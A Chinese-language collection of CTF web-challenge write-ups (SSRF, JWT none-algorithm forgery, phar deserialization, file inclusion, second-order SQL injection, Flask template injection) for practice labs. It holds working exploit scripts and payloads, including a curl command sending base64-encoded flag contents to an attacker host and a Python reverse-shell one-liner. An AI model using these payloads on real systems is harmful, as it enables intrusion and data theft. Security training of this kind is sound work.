一、[红明谷CTF 2021]write_shell 1
考点:
1、PHP 短标签
2、 `` 符号的使用
通过代码可知 check 是一个过滤函数,利用正则的方式过滤掉 空格、php、eval 等一些关键字或符号,$dir 是路径,这个值可以通过 action=pwd 获取到,也就是说获取到的文件内容会通过 file_put_contents 这个函数写入到 $dir/index.php 中。
php 被过滤可以使用 php 短标签:<?=?> ;<?= ?> 可以成功写入,这个 <?= ?> 相当于 <?echo ?>,空格杯过滤了用 %09 或者 \t 代替
?action=upload&data=<?echo%09`ls%09/`?>
?action=upload&data=<?=`ls\t/`?>
/sandbox/065831472858248584ff4993846d5065/index.php
flag 在 flllllll1112222222lag 这个文件中
?action=upload&data=<?=`cat\t/*`?>
二、[HITCON 2017]SSRFme 1
$_SERVER["REMOTE_ADDR"] 在这里相当于我们回显的 IP 地址
所以执行这段代码相当于:$sandox="sandbox/" . md5("orange"."183.36.183.18");
执行后得到的路径为:sandbox/71e85e61a595a9ea39f0a49f61054804
然后使用 chdir() 将当前工作路径修改为:sandbox/71e85e61a595a9ea39f0a49f61054804
使用 GET 命令,以及一个过滤函数 escapeshellarg() 来过滤传入的变量 url,生成的结果会放入变量 $data 中。
pathinfo() 函数就是将传入的路径 "字典化" ,比如
basename() 函数的作用:返回路径中的文件名部分
也就是说将 $data 获取到的数据存入到 sandbox/71e85e61a595a9ea39f0a49f61054804/xxx 中
访问:sandbox/71e85e61a595a9ea39f0a49f61054804/xxx
继续访问其他层级的目录
然而读取 flag 文件的时候发现是空白的
也不知道是不是 payload 的问题
但是发现还有一个 readflag 文件
访问后直接下载下来
在文本中并没有找到 flag
没思路,通过其他大佬的 WP 得解:[HITCON 2017]SSRFme_[hitcon 2017]ssrfme1-CSDN博客
利用 file 协议配合 base -c "cmd" 进行命令执行
readflag 是一个可执行文件,需要让它执行,利用命令执行先创建文件 bash -c /readflag|
创建文件后再通过 file 协议,将读取得 flag 放入 $data 中,通过 file_put_contents 导入 xxx 文件中,访问 xxx 即可得到 flag
?url=file:bash -c /readflag|&filename=xxx
这一题应该是被做了限制,导致 PHP 代码无法写入,不然还有一种思路,通过代码我们可以看到 shell_exec 这个函数,我们可以利用 data 伪协议写入一句话木马到 xxx 文件中,然后访问 xxx 文件出发一句话木马,再通过 webshell 工具连接,绕过 disable_function 进入到 shell 模式,在里面执行 readflag 程序得到 flag
[HITCON 2017]SSRFme-CSDN博客
三、[HFCTF2020]EasyLogin 1
考点:
1、JWT 漏洞破解
注册一个账户,进来后
输入任何东西都会显示权限拒绝,所以大概率是需要 admin 权限
通过注册功能抓包分析
所以我们猜测 0 应该代表 admin,之所以确定是 admin 是因为注册得 username 使用 admin 注册失败,说明这个用户名存在
利用 nodejs 的 jwt 缺陷,当 jwt 的 secret 为空,jwt 会采用 algorithm 为 none 进行解密。
js 是若语言类型,可以将 secretid 设置为一个小数或空数组,空数组与数字比较时为 0,来绕过 secretid 得验证
至于 iat,可以先注册一个账户让后用注册的账户登录,在登陆时抓包将得到的 JWT 解码就可以得到一个已存在的 iat,用已存在的 iat 即可
通过代码来生成一个 JWT
import base64a = '{"alg":"none","typ":"JWT"}'
b = '{"secretid":[],"username":"admin","password":"123","iat":1729709253}'
print(base64.b64encode(a.encode('utf-8')))
print(base64.b64encode(b.encode('utf-8')))
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcyOTcwOTI1M30
将两串字符串进行拼接得到
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcyOTcwOTI1M30.
成功登陆后再次输入并不会有任何提示
但是通过抓包发现该按钮访问的是 api/flag 的地址,我们直接在 url 中输入访问
成功获取到 flag
JSON Web Tokens - jwt.io
JWT在线工具 - kjson在线工具
jwt在线解密/加密 - JSON中文网
四、[网鼎杯 2020 半决赛]AliceWebsite 1
考点:文件包含漏洞
五、[SWPUCTF 2018]SimplePHP 1
考点:
1、phar 反序列化
2、pop 链构造
在查看文件处的 url 看到 ?file= ,猜测和文件读取有关
f1ag.php 并无法通过文件读取漏洞读到
试试其他文件读取
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) { echo "<h2>There is no file to show!<h2/>";
} # 创建一个 show 对象
$show = new Show();
// 反序列化触发点
if(file_exists($file)) { # 将 $_GET['file'] 得到的值赋值给 $show->source$show->source = $file; # $show->source = new Test();# 调用 $show->_show() 方法 功能:高亮显示一个文件$show->_show();
} else if (!empty($file)){ die('file doesn\'t exists.');
}
?>
upload_file.php
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style> p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交">
</div> </script>
</body>
</html>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); }
}
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } }
}
?>
代码的意思就是将文件名和 IP 地址进行拼接,然后进行 md5 加密,加密后再和 .jpg 进行拼接
base.php
<?php session_start();
?>
<!DOCTYPE html>
<html>
<head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav>
</body>
</html>
<!--flag is in f1ag.php-->
class.php
<?php
class C1e4r
{public $test;public $str;# 对象创建时调用public function __construct($name){$this->str = $name;}# 对象销毁时调用public function __destruct(){# 令 $this->str = new Show(),当一个类被当做字符串输出时会触发 __toString$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;# 对象创建时调用,$file 是可控的,入口在 file.phppublic function __construct($file){$this->source = $file; //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}# 在给不可访问属性赋值时,该方法被调用public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}# 反序列化时会触发# 这里的 __wakeup 不会过滤 f1ag,但是前面的 _show 会过滤 f1agpublic function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}# 读取不可访问属性的值或者属性不存在时调用public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>
魔术方法 | 作用 |
---|---|
__construct() | 当对象被创建时会调用此方法 |
__destrurct() | 在某个对象的所有引用都被删除或者当对象被显式销毁时执行 |
__sleep() | 当对象被序列化时会调用此方法 |
__wakeup() | 当对象被反序列化时将会调用此方法 |
__call() | 在对象中调用一个不可访问方法时,该方法被调用 |
__callStatic() | 在静态上下文中调用一个不可访问方法时,该方法被调用 |
__get() | 读取不可访问属性的值时,该方法被调用 |
__set() | 在给不可访问属性赋值时,该方法被调用 |
__toString() | 当一个类被当作字符串时将会调用此方法 |
__invoke() | 当尝试以调用函数的方式调用一个对象时该方法会被调用 |
__isset() | 当对不可访问属性调用 isset() 或 empty() 时,该方法会被调用 |
__unset() | 当对不可访问属性调用 unset() 时,该方法会被调用 |
解题
class 文件中这个地方给了我们解题思路,那就是构造 phar 反序列化,入口在 file.php 文件中
这个表中的函数可以触发 phar 反序列化
刚好在入口函数里存在 file_exists 函数,可以利用它来实现 phar 伪协议读取,然后分析读取 f1ag 的地方,在 Show 类里,可以看到 _show 函数会过滤 f1ag,但是 __wakeup 不会,所以我们要把 show 的 $source 设置为 f1ag.php,然后再想办法输出出来。
构造 POP 链:
首先 Test 类中要调用 __get 方法,那么类方法中必须调用一个不存在的属性或者私有属性,在 Show 类中的 __toString 方法中,有这么一句 $content = $this->str['str']->source; ,我们让 $this->str['str'] 为 Test 类,那么调用的就是 $content = Test->source;,就会触发 Test 类调用 __get,__get 中会调用 get 方法,get 方法又会调用 file_get,然后执行到 file_get_contents。不过这个的前提是要触发 __toString 方法,在 Cle4r 类中有一个 __destruct 方法,这个方法有一句 echo $this->test; ,echo 会触发 __toString 的执行,所以我们要让 $this->test 为 $this->test = new Show() ,由于 $this->test 会被赋值为 $this->str,$this->str 的值来自 $name,所以我们要令 $name = new Show()
exp
需要在 php.ini 中 让 phar.readonly = On 为 Off,不然会报错
<?phpclass C1e4r{public $test;public $str;}class Show{public $source;public $str;}class Test{public $file;public $params;}$c1e4r = new C1e4r();$show = new Show();$test = new Test();// 这里之所以要为params['source'] 是因为你Show的__toStringd调用source;// Test的 get方法会进行检测 $this->params[$key] 未定义 则赋值 index.php// 因为调用了一个未定义属性 source ,所以$key的值为 'source' // 所以这里的 $value = $this->params[$key]; 获取的就是 '/var/www/html/f1ag.php'$test->params['source'] = '/var/www/html/f1ag.php';$show->str['str'] = $test;$c1e4r->str = $show;# 创建对象 exp.phar 是文件名$phar = new Phar('exp.phar');$phar->startBuffering();// 设置stub$phar->setStub('<?php __HALT_COMPILER(); ?>');//$phar->setMetadata($c1e4r);// 要压缩的文件$phar->addFromString('exp.txt','test');$phar->stopBuffering();
?>
执行 exp,会在当前目录下生成一个文件 exp.phar
使用 phar 伪协议读取即可 /file.php?file=phar://upload/f070a0a6889f353fadfc1e57b962baba.jpg
六、[网鼎杯 2020 白虎组]PicDown 1
随便输入个值,发现有个参数 url
尝试一下能否访问其他地址 ?url=http://www.baidu.com ,访问后会下载一个 beautiful.jpg 文件下来
将后缀替换成 html 打开发现是百度的首页,说明漏洞利用点在这个位置
我们尝试能否读取服务器内的文件
非预期解
flag{10b41b16-7677-4f1c-a203-0dac30e886c1}
预期解
尝试读取用于当前进程的启动命令
读取 /app/app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllibapp = Flask(__name__)SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)@app.route('/')
def index():return render_template('search.html')@app.route('/page')
def page():url = request.args.get("url")try:if not url.lower().startswith("file"):res = urllib.urlopen(url)value = res.read()response = Response(value, mimetype='application/octet-stream')response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'return responseelse:value = "HACK ERROR!"except:value = "SOMETHING WRONG!"return render_template('search.html', res=value)@app.route('/no_one_know_the_manager')
def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=8080)
从代码中发现 /no_one_know_the_manager 可以看到,接口接收两个参数 key 和 shell,如果 key 的值和之前读取的密钥 SECRET_KEY 相等,那么就调用 os.system() 函数执行 shell 参数传入的命令,但是不回显结果。
从下面的代码可以看出 SECRET_KEY 是从 /tmp/secret.txt 中获取的,但是获取完这个文件就被删除了,不过这个文件没有关闭,所以任然可以通过 /proc/self/fd/[num] 访问对应文件(此处 [num] 代表未知的数值,需要从 0 开始遍历找出),这里在 /proc/self/fd/3 找到
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接
经过测试 pae?url=/proc/self/fd/3 可以成功获取到 key
key = 4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=
得到 KEY 之后就可以访问了:/no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=ls
这个是不会回显结果的,所以我们要考虑带外数据
利用 curl 反弹 shell(自己准备一台服务器)
1、服务器监听端口 :nc -lvp port
2、payload :
no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=curl ip:port/`ls /|base64`
no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=curl ip:port/`cat /flag|base64`
对获取到的加密字符进行 base64 解码即可
利用 python 进行反弹 shell
1、通用是监听 :nc -lvp port
2、payload :
/no_one_know_the_manager?key=4Y2xPCKO77jrnUo9mQY8EeSI7kPVxR0TQeNoWPUr77o=&shell=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
七、[NPUCTF2020]ezinclude 1
考点:PHP 临时文件包含
两种情况:
①、利用能访问的 phpinfo 页面,对其一次发送大量数据造成临时文件没有及时被删除【session.upload_porgress 条件竞争】
②、PHP 版本 < 7.2,利用 php 崩溃留下临时文件
关于php文件操作的几个小trick - tr1ple - 博客园
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
使用 php://filter/string.strip_tags 导致 php 崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个 tmp file 就会一直留在 tmp 目录,再进行文件名爆破就可以 getshell
该方法仅适用于以下 php7 版本,php5 并不存在该崩溃:
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
进入靶场
通过源码发现要求 md5 编码后的值要与 pass 相同
响应包中的 Hash 正是 name 经过 md5 编码后的值,把它赋值给 pass 即可
有个参数 file,这里就是文件包含的点
通过目录扫描还发现了 dir.php 这个文件
利用 python 写入 shell (地址注意修改,我中途重启了靶场)
import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = { 'file': BytesIO(payload.encode()) }
url = "http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
脚本运行后访问 /dir.php,得到 tmp 目录下刚刚我们上传的文件名,拼接上路径,然后 bp 访问即可 /tmp/phpgaeoU3
GET /flflflflag.php?file=/tmp/phpgaeoU3 HTTP/1.1
即可在 phpinfo 中找到 flag
另一种方法是利用 session.upload_porgress 条件竞争
利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
原理:利用 session.upload_progress 上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码。因为文件内容清空很快,所以需要不停的上传和包含,在情况之前包含该文件。具体可以自行查阅文章
八、[HarekazeCTF2019]encode_and_encode 1
考点:编码 json 转义 unicode 编码绕过
选择 Source Code 的时候会出现下列代码
<?php
error_reporting(0);if (isset($_GET['source'])) {show_source(__FILE__);exit();
}function is_valid($str) {$banword = [// no path traversal'\.\.',// no stream wrapper'(php|file|glob|data|tp|zip|zlib|phar):',// no data exfiltration'flag'];// implode 用于将数组元素组成一个字符串$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $str)) {return false;}return true;
}// file_get_contents() 把整个文件读入一个字符串中。
// 将请求的数据通过 json 的形式发送到指定的请求地址处,此时的 file_get_contents('php://input') 主要是用来获取请求的原始数据,注意,此时数据的提交方式应为 POST,并且 enctype 不等于 "multipart/form-data"// 用变量 body 获取 post 数据
$body = file_get_contents('php://input');
// 对 body 变量进行 json 解码
$json = json_decode($body, true);// 判断 body 变量是否有效,json 数据要有 page
if (is_valid($body) && isset($json) && isset($json['page'])) {$page = $json['page'];// 从 page 中读出文件名,并读取文件$content = file_get_contents($page);// 检查 content 是否有效,即不能明文传输 flag,利用 php 伪协议绕过if (!$content || !is_valid($content)) {$content = "<p>not found</p>\n";}
} else {$content = '<p>invalid request</p>';
}// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
// json_encode 对变量进行 JSON 编码,将编码后的 content 输出
echo json_encode(['content' => $content]);
is_valid($body) 对 post 数据检验,导致无法传输 $banword 中的关键词,也就无法传输 flag,这里在 json 中,可以使用 unicode 编码绕过,flag 就等于 \u0066\u006c\u0061\u0067
通过验证后,获取 page 对应的文件,并且页面里的内容也要通过 is_valid 检验,然后将文件中 HarekazeCTF{} 替换为 HarekazeCTF{<censored>},这样就无法明文读取 flag
这里传入 /\u0066\u006c\u0061\u0067 后,由于 flag 文件中也包含 flag 关键字,所以返回 not found,这也无法使用 file:// 。file_get_contents 是可以触发 php://filter 的,所以考虑使用伪协议读取,对 php 的过滤使用 Unicode 绕过即可
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
对 {"content":"ZmxhZ3s1NjlkZWJhOC1iY2ZlLTQzNTMtYjFlMy1jNDE5NThmNjg5YmN9Cg=="} 进行 base 64 解码得到 flag{569deba8-bcfe-4353-b1e3-c41958f689bc}
九、[网鼎杯2018]Unfinish 1
考点:二次注入
通过目录扫描发现这个页面 register.php,这是一个注册页面,猜测是二次注入,下述是验证过程
后端对用户输入的数据进行了部分的过滤,限制了一些字符,通过 fuzz 进行判断
批量测试,这里只测试需要用到的字符,不需要用到的就不进行测试了
fuzz 得到 information、, 被过滤。【information 库是为了方便我们后续注入表名,被过滤可以使用 sys 库;逗号被过滤可以用不使用逗号的 from for 代替】
解题思路
注册时用户名输入:0'+(select ascii(substr(database()from 2 for 1)))+'0
同理输入 0'+(select ascii(substr(database()from 3 for 1)))+'0
119 101 98 ASCII 码转成字符就是 web
表名这里我获取不到,通过查看其他师傅的 wp,发现他们是猜测表名、字段名为 flag 进行获取的
0'+(ascii(substr((select * from flag) from 1 for 1)))+'0
自动化脚本
import requests
from lxml import etree # 这个模块需要自己安装(使用 pip install xml 即可。当然纯正则也是可以解决数据提取的)
from time import sleep
import redef req():url = "http://7c43519f-48e8-4dce-9b4f-20dfa473f1a5.node5.buuoj.cn:81/"uri_one = "login.php"uri_two = "register.php"flag = ""for i in range(100):sleep(0.3)data_register = {"email": "111111111{}@qq.com".format(i),"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i),"password": "111"}data_login = {"email": "111111111{}@qq.com".format(i),"password": "111"}res_register = requests.post(url=url + uri_two, data=data_register)res_login = requests.post(url=url + uri_one, data=data_login).texthtml = etree.HTML(res_login)res = html.xpath("//html/body/nav/div/div/span/text()")res1 = re.search(r'\d+', str(res))flag = flag + chr(int(res1.group())) # 正则中 Match 对象提供的用于取回有关搜索及结果信息的属性和方法:group() 返回匹配的字符串部分,也就是取出对应的值if(chr(int(res1.group())) == '}'): breakelse: print(flag)print(flag)if __name__ == '__main__':req()
十、[CISCN2019 华东南赛区]Double Secret 1
考点:flask 模版注入
应该是要我们填写参数值,不知道参数的名称,随便试一个
没个值都有对应的字符输出,刚开始我还傻乎乎的以为全部遍历一遍说不定就出答案了
事实并不是这样的,这些字符好像没什么用,重新回到 web 页面,对着参数一通乱输,出现了报错页面,这个页面有点熟悉,之前做过一道模版注入的题也是这样。
if(secret==None):return 'Tell me your secret.I will encrypt it so others can\'t see'rc=rc4_Modified.RC4("HereIsTreasure") #解密deS=rc.do_crypt(secret)a=render_template_string(safe(deS))Open an interactive python shell in this frame if 'ciscn' in a.lower():return 'flag detected!'return a
这里其实就是我们输入参数的一个判断,首先判断参数是不是为空,如果是空参,则返回 Tell me your secret.I will encrypt it so others can\'t see ,如果传入了参数,那么就会进行加密,可以看到是 RC4 加密,而且还泄露了密钥,密钥就是 HereIsTreasure ,而且通过报错我们了解到了这时 flask 的模版,而且 python 的版本是 2.7 的,我们可以利用 flask 的模版注入,执行命令,不过需要对 payload 进行 RC4 加密
RC4 加密代码
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):# print("RC4加密主函数")s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return crypt
def rc4_init_sbox(key):s_box = list(range(256))# print("原来的 s 盒:%s" % s_box)j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]# print("混乱后的 s 盒:%s"% s_box)return s_box
def rc4_excrypt(plain, box):# print("调用加密程序成功。")res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))cipher = "".join(res)print("加密后的字符串是:%s" %quote(cipher))return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
flask 模版注入 payload
①、查看根目录文件的payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
②、读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
【注意如果字符串中的引号和最外层的引号冲突了,要进行转义】